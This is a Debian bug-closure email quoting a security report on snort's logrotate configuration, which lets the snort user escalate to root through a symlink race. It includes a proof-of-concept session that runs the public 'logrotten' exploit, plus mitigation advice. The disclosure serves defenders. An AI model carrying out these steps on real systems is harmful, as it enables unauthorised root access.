Your message dated Sat, 24 Aug 2024 22:14:31 +0000
with message-id <[email protected]>
and subject line Bug#1079286: Removed package(s) from unstable
has caused the Debian Bug report #1009820,
regarding snort: Privilege escalation due to insecure use of logrotate
to be marked as done.
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If this is not the case it is now your responsibility to reopen the
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--
1009820: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1009820
Debian Bug Tracking System
Contact [email protected] with problems
--- Begin Message ---
Package: snort
Version: 2.9.15.1-5
Severity: critical
Tags: security upstream
Justification: root security hole
X-Debbugs-Cc: [email protected]
Dear Maintainer,
The path of the logdirectory of snort can be manipulated by user
Snort in Debian Bullseye:
# ls -ld /var/log/snort/
drwxr-s--- 3 snort adm 4096 Apr 14 08:44 /var/log/snort/
The files in /var/log/snort/*/*log are once a day rotated by
logrotate as user root with the following config:
/var/log/snort/snort.alert /var/log/snort/snort.alert.fast /var/log/snort/*log
/var/log/snort/*/alert /var/log/snort/*/*log {
daily
rotate 7
compress
missingok
notifempty
create 0640 snort adm
sharedscripts
postrotate
if [ -x /usr/sbin/invoke-rc.d ]; then \
invoke-rc.d snort restart > /dev/null; \
else \
/etc/init.d/snort restart > /dev/null; \
fi;
endscript
}
Due to logrotate is prone to a race-condition(see the link to my blog below) it
is possible for user "snort" to replace or create any directory in
/var/log/snort/ with a symbolik link to any
directory(for example /etc/bash_completion.d). logrotate will place files AS
ROOT into /etc/bash_completition.d and set the owner and group to "snort.adm".
An attacker could simply place a reverse-shell into this file. As soon as root
logs in, a reverse shell will be executed then.
You can find an exploit for this bug at my blog:
https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
and https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
Proof of Concept:
#################
snort@b8ff2e70f94d:~$ cd /tm
snort@b8ff2e70f94d:/tmp$ git clone https://github.com/whotwagner/logrotten.git
Cloning into 'logrotten'...
remote: Enumerating objects: 97, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 97 (delta 4), reused 7 (delta 2), pack-reused 87
Receiving objects: 100% (97/97), 419.77 KiB | 691.00 KiB/s, done.
Resolving deltas: 100% (41/41), done.
snort@b8ff2e70f94d:/tmp$ cd logrotten/
snort@b8ff2e70f94d:/tmp/logrotten$ gcc -o logrotten logrotten.c
snort@b8ff2e70f94d:/tmp/logrotten$ echo "hello world" > payload
snort@b8ff2e70f94d:/tmp/logrotten$ mkdir /var/log/snort/pwn
snort@b8ff2e70f94d:/tmp/logrotten$ vim /var/log/snort/pwn/pwnme.lo
snort@b8ff2e70f94d:/tmp/logrotten$ ./logrotten -p payload -c
/var/log/snort/pwn/pwnme.log
Waiting for rotating /var/log/snort/pwn/pwnme.log...
Renamed /var/log/snort/pwn with /var/log/snort/pwn2 and created symlink to
/etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done!
snort@b8ff2e70f94d:/tmp/logrotten$ ls -l /etc/bash_completion.d/
total 8
-rw-r--r-- 1 root root 439 Mar 10 2021 git-prompt
-r-xr-xr-x 1 snort adm 19 Apr 14 08:43 pwnme.log
Mitigation:
###########
You could mitigate the problem by changing the owner and group of
/var/log/snort to root, or by using the "su option" in /etc/logrotate.d/snort.
Note: I also checked out the sources of the current snort(snort-2.9.19). The
source archive contains a file "snort-2.9.19/rpm/snort.logrotate" with a very
similar content.
I have tested this vulnerability on Debian Bullseye with the following snort
version:
||/ Name Version Architecture Description
+++-==============-============-============-===========================================
ii snort 2.9.15.1-5 amd64 flexible Network Intrusion
Detection System
I also checked out Debian Buster and it has a different logrotate-config for
snort which doesn't seem to be affected.
-- System Information:
Debian Release: 11.3
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 5.10.0-13-amd64 (SMP w/1 CPU thread)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8),
LANGUAGE=en_US:en
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
Versions of packages snort depends on:
ii adduser 3.118
ii debconf [debconf-2.0] 1.5.77
ii init-system-helpers 1.60
ii libc6 2.31-13+deb11u3
ii libdaq2 2.0.7-5
ii libdumbnet1 1.12-9
ii liblzma5 5.2.5-2
ii libnetfilter-queue1 1.0.5-2
ii libnghttp2-14 1.43.0-1
ii libpcap0.8 1.10.0-2
ii libpcre3 2:8.39-13
ii libssl1.1 1.1.1n-0+deb11u1
ii logrotate 3.18.0-2
ii lsb-base 11.1.0
ii net-tools 1.60+git20181103.0eebece-1
ii rsyslog [system-log-daemon] 8.2102.0-2
ii snort-common 2.9.15.1-5
ii snort-common-libraries 2.9.15.1-5
ii snort-rules-default 2.9.15.1-5
ii zlib1g 1:1.2.11.dfsg-2+deb11u1
Versions of packages snort recommends:
ii iproute2 5.10.0-4
Versions of packages snort suggests:
pn snort-doc <none>
-- debconf information:
* snort/interface: enp0s3
snort/options:
snort/invalid_interface:
snort/please_restart_manually:
snort/send_stats: true
snort/disable_promiscuous: false
* snort/address_range: 192.168.0.0/16
snort/stats_rcpt: root
snort/startup: boot
snort/stats_treshold: 1
snort/config_parameters:
--- End Message ---
--- Begin Message ---
Version: 2.9.15.1-6+rm
Dear submitter,
as the package snort has just been removed from the Debian archive
unstable we hereby close the associated bug reports. We are sorry
that we couldn't deal with your issue properly.
For details on the removal, please see https://bugs.debian.org/1079286
The version of this package that was in Debian prior to this removal
can still be found using https://snapshot.debian.org/.
Please note that the changes have been done on the master archive and
will not propagate to any mirrors until the next dinstall run at the
earliest.
This message was generated automatically; if you believe that there is
a problem with it please contact the archive administrators by mailing
[email protected].
Debian distribution maintenance software
pp.
Scott Kitterman (the ftpmaster behind the curtain)
--- End Message ---
